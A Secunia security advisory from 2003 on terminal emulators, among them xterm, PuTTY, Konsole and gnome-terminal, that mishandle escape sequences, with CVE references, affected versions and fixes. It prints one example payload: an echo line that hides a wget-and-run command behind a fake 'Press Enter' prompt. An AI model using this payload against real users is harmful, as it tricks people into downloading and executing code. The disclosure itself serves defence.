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Terminal Emulators fail to handle escape sequences
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Secunia Advisory:
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SA8146
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Release Date:
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2003-02-25
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Last Update:
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2004-05-10
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Popularity:
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18,901 views
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Critical:
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Moderately critical
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Impact:
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System access
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Where:
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From remote
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Solution Status:
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Vendor Patch
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| Software: | Apache 1.3.x
Apache 2.0.x
aterm 0.4.x
Eterm 0.9.x
gnome-terminal 2.x
hanterm-xf 2.x
Konsole 3.x
PuTTY 0.x
rxvt 2.7.x
SecureCRT 3.x
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| CVE reference: | CVE-2003-0020
CVE-2003-0021
CVE-2003-0022
CVE-2003-0023
CVE-2003-0024
CVE-2003-0063
CVE-2003-0064
CVE-2003-0066
CVE-2003-0067
CVE-2003-0068
CVE-2003-0069
CVE-2003-0070
CVE-2003-0071
CVE-2003-0078
CVE-2003-0079
CVE-2003-0083
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Description:
Different terminal emulators have been found vulnerable to an issue allowing malicious people to manipulate actions taken by the system administrator and other users.
The problem is that escape sequences like "\e2]2;" aren't handled correctly. This allows plain text files to manipulate the text shown in the terminal emulator, which could be exploited to show a "harmless" text messages that requires the user to respond by clicking enter. This will then execute commands hidden by the "harmless" text.
Example:
echo -e "\e]2;;wget 127.0.0.1/.bd;sh .bd;exit;\a\e[21t\e]2;xterm\aPress Enter>\e[8m;"
This will ask the user to press enter, while concealing the commands in the background, which could download and execute malicious code.
The vulnerability could be used by local users to trick root or other local users into reading a malicious plain text file using commands like type, more, and tail.
However, remote users may also be able to inject this into log files. It has been reported that it is possible to inject escape sequences into Apache access and error log files. Other daemons may also write unfiltered text to log files.
See the original advisory from Digital Defense for more examples.
Versions confirmed vulnerable:
xterm xf86 4.2.0 (patch 165)
aterm 0.42
rxvt 2.7.8
Eterm 0.9.1
konsole 3.1.0 rc5
putty 0.53
SecureCRT 3.4.6
gnome-terminal 2.0.2 (libzvt 2.0.1) [2.2 indirectly]
hanterm-xf 2.0
Solution:
Use a different terminal emulator, until your favorite terminal emulator has been updated.
Eterm 0.9.2 is not vulnerable.
Apache httpd 1.3.31-dev addresses the issue.
Provided and/or discovered by:
H D Moore, Digital Defense
Changelog:
2004-01-15: Updated CVE references.
2004-05-10: Updated solution for Apache.
Original Advisory:
http://www.digitaldefense.net/labs/papers/Termulation.txt
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About this Secunia Advisory
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Please note: The information that this Secunia Advisory is based on comes from a third party unless stated otherwise.
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